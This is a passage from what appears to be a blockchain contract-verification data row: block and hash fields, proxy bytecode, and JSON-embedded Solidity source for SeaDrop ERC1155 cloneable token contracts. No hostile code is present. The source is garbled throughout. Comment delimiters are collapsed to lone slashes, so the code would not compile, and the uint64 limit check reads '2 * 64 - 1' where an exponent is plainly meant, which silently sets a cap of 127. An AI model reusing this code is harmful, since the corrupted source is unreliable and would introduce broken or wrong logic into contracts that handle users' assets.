ContractFactory_Only_Callable_By_Factory_Contract(contractFactory);\n }\n _;\n }\n\n /\n @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create these contracts.\n /\n constructor(address _contractFactory) {\n if (!_contractFactory.isContract()) {\n revert ContractFactory_Factory_Is_Not_A_Contract();\n }\n contractFactory = _contractFactory;\n }\n}\n" } }, "settings": { "optimizer": { "enabled": true, "runs": 1337000 }, "outputSelection": { "": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} } }}
1	19,499,704	cdff981e9d026beeae0cd5a0622e9e981066a93aed8ceeb9f250c7ce90066010	9eddb3aa0bc5ba402d958d43e0e2fd4cd7734135f076a6af844b5b886255519c	bc1f8e22ce0d66fd26d84d36be5934719d8382a6	000000f20032b9e171844b00ea507e11960bd94a	7dd15f6dd011f3527848ee07a8ee2aa3f1f0a438	3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3	{{ "language": "Solidity", "sources": { "src/clones/ERC1155SeaDropCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/*\n @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n /\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /\n @notice Initialize the token contract.\n \n @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n /\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /\n @dev Auto-approve the conduit after mint or transfer.\n \n @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n /\n function _afterTokenTransfer(\n address / from /,\n address to,\n uint256[] memory / ids /,\n uint256[] memory / amounts /,\n bytes memory / data /\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /\n @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n /\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /\n @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n \n @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n /\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /\n @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n \n @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n /\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n" }, "src/clones/ERC1155SeaDropContractOffererCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/\n @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n /\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /\n @notice Initialize the token contract.\n \n @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n /\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /\n @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n /\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector \|\|\n selector == ISeaDropToken.updateDropURI.selector \|\|\n selector == ISeaDropToken.updateAllowList.selector \|\|\n selector == ISeaDropToken.updateCreatorPayouts.selector \|\|\n selector == ISeaDropToken.updatePayer.selector \|\|\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector \|\|\n selector == ISeaDropToken.updateSigner.selector \|\|\n selector == IERC1155SeaDrop.updatePublicDrop.selector \|\|\n selector == ContractOffererInterface.previewOrder.selector \|\|\n selector == ContractOffererInterface.generateOrder.selector \|\|\n selector == ContractOffererInterface.getSeaportMetadata.selector \|\|\n selector == IERC1155SeaDrop.getPublicDrop.selector \|\|\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector \|\|\n selector == ISeaDropToken.getAllowedSeaport.selector \|\|\n selector == ISeaDropToken.getCreatorPayouts.selector \|\|\n selector == ISeaDropToken.getAllowListMerkleRoot.selector \|\|\n selector == ISeaDropToken.getAllowedFeeRecipients.selector \|\|\n selector == ISeaDropToken.getSigners.selector \|\|\n selector == ISeaDropToken.getDigestIsUsed.selector \|\|\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector \|\|\n selector == ISeaDropToken.updateDropURI.selector \|\|\n selector == ISeaDropToken.updateAllowList.selector \|\|\n selector == ISeaDropToken.updateCreatorPayouts.selector \|\|\n selector == ISeaDropToken.updatePayer.selector \|\|\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector \|\|\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer \|\|\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /\n @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n \n @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n \n @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n /\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /\n @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n \n @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n /\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /\n @notice Returns whether the interface is supported.\n \n @param interfaceId The interface id to check against.\n /\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId \|\|\n interfaceId == type(ContractOffererInterface).interfaceId \|\|\n interfaceId == 0x2e778efc \|\| // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /\n @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n \n @param data The original transaction calldata, without the selector.\n /\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /\n @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n \n @param data The original transaction calldata, without the selector.\n /\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n" }, "src/interfaces/IERC1155SeaDrop.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/\n @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n /\ninterface IERC1155SeaDrop is ISeaDropToken {\n /\n @notice Update the SeaDrop public drop parameters at a given index.\n \n @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n /\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /\n @notice Returns the public drop stage parameters at a given index.\n \n @param index The index of the public drop stage.\n /\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /\n @notice Returns the public drop indexes.\n /\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /\n @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n \n @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n \n @param minter The minter address.\n * @param tokenId The token id to return stats for.\n /\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /\n @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n \n @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n /\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n" }, "src/interfaces/ISeaDropToken.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/\n @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n /\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /\n @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n \n @param allowedSeaport The allowed Seaport addresses.\n /\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /\n @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n \n @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n /\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /\n @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n \n @param creatorPayouts The new creator payouts.\n /\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /\n @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n \n @param dropURI The new drop URI.\n /\n function updateDropURI(string calldata dropURI) external;\n\n /\n @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n \n @param allowListData The new allow list data.\n /\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /\n @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n \n @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n /\n function updatePayer(address payer, bool allowed) external;\n\n /\n @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n \n @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n /\n function updateSigner(address signer, bool allowed) external;\n\n /\n @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n /\n function getAllowedSeaport() external view returns (address[] memory);\n\n /\n @notice Returns the SeaDrop creator payouts.\n /\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /\n @notice Returns the SeaDrop allow list merkle root.\n /\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /\n @notice Returns the SeaDrop allowed fee recipients.\n /\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /\n @notice Returns the SeaDrop allowed signers.\n /\n function getSigners() external view returns (address[] memory);\n\n /\n @notice Returns if the signed digest has been used.\n \n @param digest The digest hash.\n /\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /\n @notice Returns the SeaDrop allowed payers.\n /\n function getPayers() external view returns (address[] memory);\n\n /\n @notice Returns the configurer contract.\n /\n function configurer() external view returns (address);\n}\n" }, "src/clones/ERC1155ContractMetadataCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/\n @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n /\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /\n @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n \n This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n /\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /\n @notice Deploy the token contract.\n \n @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n /\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /\n @notice Sets the base URI for the token metadata and emits an event.\n \n @param newBaseURI The new base URI to set.\n /\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /\n @notice Sets the contract URI for contract metadata.\n \n @param newContractURI The new contract URI.\n /\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /\n @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n \n @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n /\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /\n @notice Sets the max token supply and emits an event.\n \n @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n /\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 * 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /*\n @notice Sets the provenance hash and emits an event.\n \n The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n \n This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n \n @param newProvenanceHash The new provenance hash to set.\n /\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /\n @notice Sets the default royalty information.\n \n Requirements:\n \n - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n /\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /\n @notice Returns the name of the token.\n /\n function name() external view returns (string memory) {\n return _name;\n }\n\n /\n @notice Returns the symbol of the token.\n /\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /\n @notice Returns the base URI for token metadata.\n /\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /\n @notice Returns the contract URI for contract metadata.\n /\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /\n @notice Returns the max token supply for a token id.\n /\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /\n @notice Returns the total supply for a token id.\n /\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /\n @notice Returns the total minted for a token id.\n /\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /\n @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n /\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /\n @notice Returns the URI for token metadata.\n \n This implementation returns the same URI for all token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n \n @custom:param tokenId The token id to get the URI for.\n /\n function uri(\n uint256 / tokenId /\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /\n @notice Returns whether the interface is supported.\n \n @param interfaceId The interface id to check against.\n /\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId \|\|\n interfaceId == 0x49064906 \|\| // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) \|\|\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /\n @dev Adds to the internal counters for a mint.\n \n @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n /\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /\n @dev Adds to the internal counters for a batch mint.\n \n @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n /\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /\n @dev Subtracts from the internal counters for a burn.\n \n @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n /\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /\n @dev Subtracts from the internal counters for a batch burn.\n \n @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n /\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= 